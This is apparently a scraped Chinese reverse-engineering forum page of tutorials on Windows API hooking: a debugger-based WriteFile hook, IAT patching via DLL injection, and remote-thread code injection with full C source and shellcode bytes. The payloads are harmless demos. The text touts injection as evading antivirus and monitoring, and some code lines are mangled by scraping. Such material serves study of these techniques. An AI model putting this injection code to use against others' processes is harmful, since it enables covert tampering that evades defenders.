               g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
                                        "SetWindowTextW");
                       hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
                       break;
               case DLL_PROCESS_DETACH :
            hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
                       break;
        }
        return TRUE;
}
[/i][/i][/i][/i] 查看全部
 
API:应用程序编程接口。任何 Windows OS 应用程序都需要使用 Win32 API。
 
API钩取技术可以实现对某些 Win32 API 调用过程的拦截,并获得相应的控制权限。
动态的 API 钩取用来针对进程内存。 
  1. IAT:将内部 API 的地址修改为我们的钩取函数地址。优点是实现简单;缺点是无法针对不在 IAT 但是在程序中使用的 API(动态加载并使用 DLL 时)。
  2. 代码空间:DLL 映射到内存空间后,从中查找出 API 的实际地址,直接修改代码。这种方法应用非常广泛。
  3. EAT:将 DLL 的 EAT 中的 API 地址更改为我们的钩取函数地址。具体实现方法不如修改代码方便、强大,所以不常用。


如何向目标进程设置钩取函数:
  1. 调试法:通过调试目标进程来钩取 API。因为调试器拥有调试者所有权限。
  2. 注入法

 
调试法:
 
伪代码
Main()
{
DebugActiveProcess(PID) //将调试器附加到目标进程
DebugLoop() //开启调试循环
}

DebugLoop()
{
while(WaitForDebugEvent(de,)) //调试循环
{
case de.dwDebugEventCode:


CREATE_PROCESS_DEBUG_EVENT //当被调试进程启动启动时即调用此函数
OnCreateProcessDebugEvent(&de)


EXCEPTION_DEBUG_EVENT //遇到异常时调用此函数
OnExceptionDebugEvent(&de)


EXIT_PROCESS_DEBUG_EVENT //终止调试
break


}
}


OnCreateProcessDebugEvent(&de)
{
将 de的进程信息复制给 g_cpdi
GetProcessAddress() //获得 WriteFile API 的地址
ReadProcessMemory() //保存 API 起始位置备份,用以恢复
WriteProcessMemory() //将 API 起始位置设置为断点

}


OnExceptionDebugEvent(&de)
{
1.根据异常信息判断是否为断点异常
2.根据异常信息判断异常地址是否为我们设置的断点地址
3.脱钩:将我们设置的断点指令还原为原指令
4.获取发生异常时的线程上下文
5.根据上下文中的 ESP 获得 WritelFile API 的参数 2 和 参数 3 地址
6.分配临时缓冲区,将参数读取到临时缓冲区
7.转换大小写
8.覆写到 WritelFile API 参数缓冲区
9.释放临时缓冲区
10.设置 EIP
11.继续运行程序
12.设置钩子
}
 
#include "windows.h"
#include "stdio.h"

LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;

BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获得 WriteFile() API 函数地址
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
// 将信息复制给 g_cpdi
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}

BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 如果是断点异常
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 如果发生异常的地址是我们设置断点的地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
// 将我们写入的 0xCC 替换为原来的指令
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的第2个参数和第3个参数
// param 2 : ESP + 0x8
// param 3 : ESP + 0xC
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 将 WriteFile() 缓冲区的内容复制到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 转换大小写
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer && lpBuffer <= 0x7A )
lpBuffer -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的内容复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);

// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 设置 EIP
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}

void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待调试事件发生
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE;
// 被调试进程生成或者附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de);
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
if( OnExceptionDebugEvent(&de) )
continue;
}
// 终止调试进程
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
//
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}

int main(int argc, char* argv)
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]);
if( !DebugActiveProcess(dwPID) )
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}

 
注入法 
      之
     通过 DLL 注入修改 IAT 来进行 API 钩取

 
这种方法的原理非常简单,在目标进程中注入我们的 DLL。然后把我们要钩取的 API 在 IAT 中的地址替换为我们自定义函数的地址即可。这样的话,目标进程每次调用目标 API 时都会调用先我们的函数,然后再让我们的函数调用目标 API。
 
难点1:选定目标 API。
 
在操作系统中,某项功能最终都是由某个或某些 API 提供的。
比如,创建文件由 Kernel32!CreateFile() API 负责,创建注册表新键由 advapi32!CreateKeyEx() API 负责,网络连接由 ws_232!connect() API 负责。
对于初学者来说,往往不知道哪个 API 提供了要钩取的功能。所以要学会使用检索功能。若搜索不到,就可以根据已有经验推测,在验证确认。
 
我们的目的是: 让计算器显示的阿拉伯数字更改为中文数字。
所以我们的目标 API 是:SetWindowTextW()
  
BOOL SetWindowTextA(
HWND hWnd,
LPCSTR lpString
);





 
这个 API 有两个参数。第一个参数是窗口句柄,第二个参数是字符串指针。我们只需要将字符串中的阿拉伯数字更改为中文数字就可以了。
 
到此为止,我们的目的总共有 3 个。
  1. 将 DLL 注入进目标进程。
  2. 替换目标进程 IAT 中的 API 地址。
  3. 将阿拉伯数字跟改为中文数字。




0x1:注入 DLL
将 DLL 注入目标进程非常简单,使用 CreateRemoteThread 函数即可。
 
0x2: 如何替换 API 地址?
  1. 找到目标 API 在 IAT 中的存储地址。
  2. 得到我们的函数的地址。
  3. 进行替换。

  0x2.1:如何找到目标 API 在 IAT 中的存储地址
  1. 找到内存中导入表地址。
  2. 遍历 IID,找到目标 DLL 对应的 IID。
  3. 遍历目标 IID 的 IAT,对比找到存储目标 API 的项,将其值替换我们的地址。

  具体实现:
//参数分别是目标DLL名称,目标API的地址
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;

//hMod是目标进程的 ImageBase
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;

//pAddr用来得到NT头的地址
pAddr += *((DWORD*)&pAddr[0x3C]);

//dwRVA得到导入表的RVA
dwRVA = *((DWORD*)&pAddr[0x90]);

//pImportDesc是首个IID
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);

//通过循环遍历IID寻找目标DLL
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是导入DLL的名称
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);

//循环遍历存储目标API的项
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);

pThunk->u1.Function = (DWORD64)pfnNew;

VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}

    
 
0x3:将阿拉伯数字更换为中文数字     
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}[/i][/i][/i][/i]


[i][i][i] DLL 全部的代码:[/i][/i][/i]
[i][i][i][i]// include
#include "stdio.h"
#include "wchar.h"
#include "windows.h"

// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);

// globals
FARPROC g_pOrgFunc = NULL;


BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
    wchar_t* pNum = L"零一二三四五六七八九";
    wchar_t temp[2] = {0,};
    int i = 0, nLen = 0, nIndex = 0;
    nLen = wcslen(lpString);
    for(i = 0; i < nLen; i++)
    {
        if( L'0' <= lpString && lpString <= L'9' )
        {
            temp[0] = lpString;
            nIndex = _wtoi(temp);
            lpString = pNum[nIndex];
        }
    }
    return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}

// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
        HMODULE hMod;
        LPCSTR szLibName;
        PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
        PIMAGE_THUNK_DATA pThunk;
        DWORD dwOldProtect, dwRVA;
        PBYTE pAddr;
        hMod = GetModuleHandle(NULL);
        pAddr = (PBYTE)hMod;
        pAddr += *((DWORD*)&pAddr[0x3C]);
        dwRVA = *((DWORD*)&pAddr[0x90]);
        pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
        for( ; pImportDesc->Name; pImportDesc++ )
        {
               //szLibName 是IID的名字
               szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
               if( !_stricmp(szLibName, szDllName) )
               {
                       pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
                                         pImportDesc->FirstThunk);
                       for( ; pThunk->u1.Function; pThunk++ )
                       {
                              if( pThunk->u1.Function == (DWORD64)pfnOrg )
                              {
                     
                                      VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   PAGE_EXECUTE_READWRITE,
                                   &dwOldProtect);
                    pThunk->u1.Function = (DWORD64)pfnNew;
                                      
                    VirtualProtect((LPVOID)&pThunk->u1.Function,
                                   4,
                                   dwOldProtect,
                                   &dwOldProtect);                                        
                                      return TRUE;
                              }
                       }
               }
        }
        return FALSE;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
        switch( fdwReason )
        {
               case DLL_PROCESS_ATTACH :          
               g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
                                        "SetWindowTextW");
                       hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
                       break;
               case DLL_PROCESS_DETACH :
            hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
                       break;
        }
        return TRUE;
}
[/i][/i][/i][/i]

远程线程之代码注入

REVERSE-逆向snow 发表了文章 • 3 个评论 • 147 次浏览 • 2019-08-05 09:00 • 来自相关话题

 
远程线程代码注入,和远程线程 DLL 注入相比。
    相同点:原理是一样的,都是使用 CreateRemoteThread 函数在目标进程中创建一个线程。
    不同点:DLL 注入是让该线程调用 LoadLibrary API 加载我们的 DLL,然后在 DllMain 函数里执行我们想要执行的操作(每当 DLL 被静态链接,或动态链接时调用 LoadLibrary、       FreeLibrary 都会自动调用 DllMain 函数)。远程线程代码注入则是直接让该线程调用我们的函数直接执行。
 
和 DLL 注入相比。
    优势:代码注入更加的隐蔽。因为很多杀软或监控软件都会实时的监控着每个进程,当一个进程加载了一个 DLL,动静是很大的,很容易被发觉。代码注入只是将可执行代码拷贝到目标进程后台运行,我们的代码已经和目标进程融为一体,其他人无法察觉。
    劣势:代码注入相比 DLL 注入太过繁琐。因为我们是要把代码拷贝进另一个进程中运行,所以我们要把该函数使用的所有资源都写入到目标进程中去。
 
 
远程代码注入的步骤有以下几步:
获取目标进程句柄在目标进程中申请内存空间,将数据写入在目标进程中申请内存空间,将代码写入调用 CreateRemoteThread 函数,使之调用我们的代码。 
 
简单的流程图
 





 
 
     
写入数据:
这一步骤的难点在于确定数据有哪些。
我们首先要确定好注入的代码怎么写,才能确定代码需要的数据有哪些。
比如我们想要在目标进程中使用 MessageBox 函数弹一个窗口,那么我们可以像下边这样写:hMod = LoadLibraryA("user32.dll");
pFunc = GetProcAddress(hMod, "MessageBoxA");
pFunc(NULL, "White Album2", "Touma Kazusa", MB_OK); 
这样一来我们就可以确定我们需要的数据共有 6 项,分别是 2 个函数以及 4 个字符串。我们可以自定义一个数据结构,把我们的要写入的数据全部囊括其中,方便传递数据:typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, * PTHREAD_PARAM; 
然后给数据赋值:THREAD_PARAM param = { 0, };

hMod = GetModuleHandleA("Kernel32.dll");

param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Touma Kazusa");
strcpy_s(param.szBuf[3], "White Album2"); 
需要注意的是,大多数进程都会加载 Kernel32.dll,所以直接把LoadLibraryA 和GetProcAddress 的地址传递给代码是可以的,但是有些系统进程时默认是不会加载 Kernel32.dll 的,如 smss.exe ,所以事前务必确认。
 
 
写入代码:
代码上面已经确定,由于我们只能使用我们的参数,所以真正的代码如下:DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll"
if (!hMod)
return 1;
// GetProcAddress()
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // "MessageBoxA"
if (!pFunc)
return 1;
// MessageBoxA()
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;

为代码申请内存空间:dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)) )
{
printf("申请代码空间失败 : err_code = %d\n", GetLastError());
return FALSE;

由于该内存空间的代码是要执行的,所以使用 VirtualAllocEx API 申请缓冲区时最后一个参数要设为 PAGE_EXECUTE_READWRITE
 
将代码写入内存空间:if( !WriteProcessMemory(hProcess,
pRemoteBuf[1],
(LPVOID)ThreadProc,
dwSize,
NULL) )
{
printf("写入代码失败 : err_code = %d\n", GetLastError());
return FALSE;

在 Debug 编译模式下,编译器会为进程生成一张 ILT,此时函数的名称并不是函数的地址,对函数的定位就会变的困难,所以在编译时选择 Release 模式进行编译。
 
完整代码如下:#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, * PTHREAD_PARAM;

typedef HMODULE(WINAPI* PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
);

typedef FARPROC(WINAPI* PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
);

//定义了一个新类型
typedef int (WINAPI* PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

//函数用于提升权限
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES NewState;
//获得访问令牌,返回到参数 hToken。
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}

//获得 LUID,返回到参数 luid。
if (!LookupPrivilegeValue(NULL,
lpszPrivilege,
&luid))
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luid;
if (bEnablePrivilege)
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
NewState.Privileges[0].Attributes = 0;

//调整特权信息
if (!AdjustTokenPrivileges(hToken,
FALSE,
&NewState,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}

//要注入的代码
DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll"
if (!hMod)
return 1;
// GetProcAddress()
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // "MessageBoxA"
if (!pFunc)
return 1;
// MessageBoxA()
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}

//函数用于注入代码和数据
BOOL CodeInject(DWORD dwPID)
{
HMODULE hMod = NULL; //目标DLL的句柄
HANDLE hProcess = NULL; //目标进程的句柄
THREAD_PARAM param = { 0, }; //要注入的数据
DWORD dwSize = 0; //申请空间大小
LPVOID pRemoteBuf[2] = { 0, }; //指向申请的缓存区的指针,0是指向数据缓存区,1指向代码缓存区
HANDLE hThread = NULL; //远程线程的句柄
hMod = GetModuleHandleA("Kernel32.dll");
//注入代码需要使用到的数据
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Touma Kazusa");
strcpy_s(param.szBuf[3], "White Album2");
//获取进程句柄
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwPID)) )
{
printf("OpneProcess API 调用失败");
return FALSE;
}
//为数据申请空间
dwSize = sizeof(THREAD_PARAM);
if ( !(pRemoteBuf[0] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_READWRITE)) )
{
printf("申请数据空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//写入数据
if (!WriteProcessMemory(hProcess,
pRemoteBuf[0],
(LPVOID)&param,
dwSize,
NULL))
{
printf("写入数据失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//为代码申请空间
dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)) )
{
printf("申请代码空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//写入代码
if( !WriteProcessMemory(hProcess,
pRemoteBuf[1],
(LPVOID)ThreadProc,
dwSize,
NULL) )
{
printf("写入代码失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//调用远程线程
if( !(hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteBuf[1],
pRemoteBuf[0],
0,
NULL)) )
{
printf("创建远程线程失败: err_code = %d\n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}

int main(int argc, char *argv)
{
DWORD dwPID = 0;
if (argc != 2)
{
printf("\n USAGE : %s <proc name>\n", argv[0]);
return 1;
}
//提升自身权限
if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
{
return 1;
}

dwPID = (DWORD)atol(argv[1]);
CodeInject(dwPID);

return 0;
}
 
汇编语言比 C 语言更加的自由、灵活,可以使用汇编语言编写注入代码。且汇编语言编写的注入代码本身同时包含着代码所需要的字符串数据,所以在 _THREAD_PARAM 结构体中只需要包含函数指针就可以了。具体的注入代码 如下:
 BYTE g_InjectionCode =
{
0x55, 0x8B, 0xEC, 0x8B, 0x75, 0x08, 0x68, 0x6C, 0x6C, 0x00,
0x00, 0x68, 0x33, 0x32, 0x2E, 0x64, 0x68, 0x75, 0x73, 0x65,
0x72, 0x54, 0xFF, 0x16, 0x68, 0x6F, 0x78, 0x41, 0x00, 0x68,
0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54,
0x50, 0xFF, 0x56, 0x04, 0x6A, 0x00, 0xE8, 0x0C, 0x00, 0x00,
0x00, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x43, 0x6F,
0x72, 0x65, 0x00, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x77, 0x77,
0x77, 0x2E, 0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x63,
0x6F, 0x72, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x00, 0x6A, 0x00,
0xFF, 0xD0, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3
};

004010ED 55 PUSH EBP
004010EE 8BEC MOV EBP,ESP
004010F0 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ; ESI = pParam
0[b]04010F3 68 6C6C0000 PUSH 6C6C
004010F8 68 33322E64 PUSH 642E3233
004010FD 68 75736572 PUSH 72657375[/b]
00401102 54 PUSH ESP ; - "user32.dll"
00401103 FF16 CALL DWORD PTR DS:[ESI] ; LoadLibraryA("user32.dll")
00401105 68 6F784100 PUSH 41786F
0040110A 68 61676542 PUSH 42656761
0040110F 68 4D657373 PUSH 7373654D
00401114 54 PUSH ESP ; - "MessageBoxA"
00401115 50 PUSH EAX ; - hMod
00401116 FF56 04 CALL DWORD PTR DS:[ESI+4] ; GetProcAddress(hMod, "MessageBoxA")
00401119 6A 00 PUSH 0 ; - MB_OK (0)
[b]0040111B E8 0C000000 CALL 0040112C
[/b]00401120 <ASCII> ; - "ReverseCore", 0
[b]0040112C E8 14000000 CALL 00401145[/b]
00401131 <ASCII> ; - "www.reversecore.com", 0
00401145 6A 00 PUSH 0 ; - hWnd (0)
00401147 FFD0 CALL EAX ; MessageBoxA(0, "www.reversecore.com", "ReverseCore", 0)
00401149 33C0 XOR EAX,EAX
0040114B 8BE5 MOV ESP,EBP
0040114D 5D POP EBP
0040114E C3 RETN 
 
需要注意的是,在 32 位的操作系统中,PUSH 指令一次只能将 4 字节的数据压入栈。
所以在上例的 004010F3 地址处到 004010FD 处的三句 PUSH 指令都是为了将函数 LoadLibraryA 的参数:字符串“user32.dll”压入栈中。但这样也太过麻烦了。我们可以利用 call 指令的特性,从而一次性的把超过 4 字节的字符串压入栈中。
我们都知道 call 指令是先把下一条指令的地址压入栈中,然后 JMP(跳转) 到相应地址。由于我们要跳转的地址并不是一个真正的函数,所以也不会有 RETN 返回指令。所以在这里 call 指令就只是将我们的字符串压入栈中,然后转到下一条代码指令。实例 0040111B 和 0040112C 处的 call 指令都是为了将字符串压入栈中。这也是 call 指令的一个很有意思的用法。
 
 
 
  查看全部
 
远程线程代码注入,和远程线程 DLL 注入相比。
    相同点:原理是一样的,都是使用 CreateRemoteThread 函数在目标进程中创建一个线程。
    不同点:DLL 注入是让该线程调用 LoadLibrary API 加载我们的 DLL,然后在 DllMain 函数里执行我们想要执行的操作(每当 DLL 被静态链接,或动态链接时调用 LoadLibrary、       FreeLibrary 都会自动调用 DllMain 函数)。远程线程代码注入则是直接让该线程调用我们的函数直接执行。
 
和 DLL 注入相比。
    优势:代码注入更加的隐蔽。因为很多杀软或监控软件都会实时的监控着每个进程,当一个进程加载了一个 DLL,动静是很大的,很容易被发觉。代码注入只是将可执行代码拷贝到目标进程后台运行,我们的代码已经和目标进程融为一体,其他人无法察觉。
    劣势:代码注入相比 DLL 注入太过繁琐。因为我们是要把代码拷贝进另一个进程中运行,所以我们要把该函数使用的所有资源都写入到目标进程中去。
 
 
远程代码注入的步骤有以下几步:
  1. 获取目标进程句柄
  2. 在目标进程中申请内存空间,将数据写入
  3. 在目标进程中申请内存空间,将代码写入
  4. 调用 CreateRemoteThread 函数,使之调用我们的代码。 

 
简单的流程图
 

20190802112824.png

 
 
     
写入数据:
这一步骤的难点在于确定数据有哪些。

我们首先要确定好注入的代码怎么写,才能确定代码需要的数据有哪些。
比如我们想要在目标进程中使用 MessageBox 函数弹一个窗口,那么我们可以像下边这样写:
hMod = LoadLibraryA("user32.dll");
pFunc = GetProcAddress(hMod, "MessageBoxA");
pFunc(NULL, "White Album2", "Touma Kazusa", MB_OK);
 
这样一来我们就可以确定我们需要的数据共有 6 项,分别是 2 个函数以及 4 个字符串。我们可以自定义一个数据结构,把我们的要写入的数据全部囊括其中,方便传递数据:
typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, * PTHREAD_PARAM;
 
然后给数据赋值:
THREAD_PARAM   param                  = { 0, };

hMod = GetModuleHandleA("Kernel32.dll");

param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Touma Kazusa");
strcpy_s(param.szBuf[3], "White Album2");
 
需要注意的是,大多数进程都会加载 Kernel32.dll,所以直接把LoadLibraryA 和GetProcAddress 的地址传递给代码是可以的,但是有些系统进程时默认是不会加载 Kernel32.dll 的,如 smss.exe ,所以事前务必确认。
 
 
写入代码:
代码上面已经确定,由于我们只能使用我们的参数,所以真正的代码如下:
DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll"
if (!hMod)
return 1;
// GetProcAddress()
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // "MessageBoxA"
if (!pFunc)
return 1;
// MessageBoxA()
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}
 
为代码申请内存空间
dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)) )
{
printf("申请代码空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
 
由于该内存空间的代码是要执行的,所以使用 VirtualAllocEx API 申请缓冲区时最后一个参数要设为 PAGE_EXECUTE_READWRITE
 
将代码写入内存空间
if( !WriteProcessMemory(hProcess,
pRemoteBuf[1],
(LPVOID)ThreadProc,
dwSize,
NULL) )
{
